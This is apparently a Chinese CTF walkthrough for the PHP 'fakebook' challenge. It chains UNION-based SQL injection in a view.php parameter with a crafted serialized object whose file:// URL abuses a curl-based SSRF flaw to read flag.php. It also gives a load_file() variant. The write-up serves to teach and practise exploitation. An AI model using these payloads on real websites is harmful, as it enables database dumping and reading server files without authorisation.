反序列化+ssrf
查看robots.txt
,发现user.php.bak
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
很显然,get()
函数存在ssrf漏洞。
随便注册一个账号join一下
发现username可以点击跳转
此时url中多了一个?no=1
,尝试sql注入
查数据库:fakebook
?no=0 union/**/select 1,database(),3,4--+
查表:users
no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+
查列:no,username,passwd,data
/view.php?no=0%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'--+
查字段:
?no=0%20union/**/select%201,group_concat(no,'-',username,'-',passwd,'-',data),3,4 from fakebook.users --+
得到
1-admin-3c9909afec25354d551dae21590bb26e38d53f2173b8d3dc3eee4c047e7ab1c1eb8b85103e3be7ba613b31bb5c9c36214dc9f14a42fd7a2fdb84856bca5c44c2-O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:21:"https://www.baidu.com";}
其中有UserInfo类的反序列化数据
那么可以将blog的网址任意替换,绕过了之前的过滤,利用ssrf漏洞,构造:
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' --+
跳转后查看源码即可
payload:
?no=-1 union/**/select 1,group_concat(load_file('/var/www/html/flag.php')),1,1 from users
load_file()函数的限制是:
1、必须有权限读取并且文件必须完全可读。
and (select count() from mysql.user)>0 #如果结果返回正常,说明具有读写权限.
and (select count() from mysql.user)>0 #返回错误,应该是管理员给数据库账户降权了
2、欲读取文件必须在服务器上
3、必须指定文件完整的路径
4、欲读取文件必须小于max_allowed_packet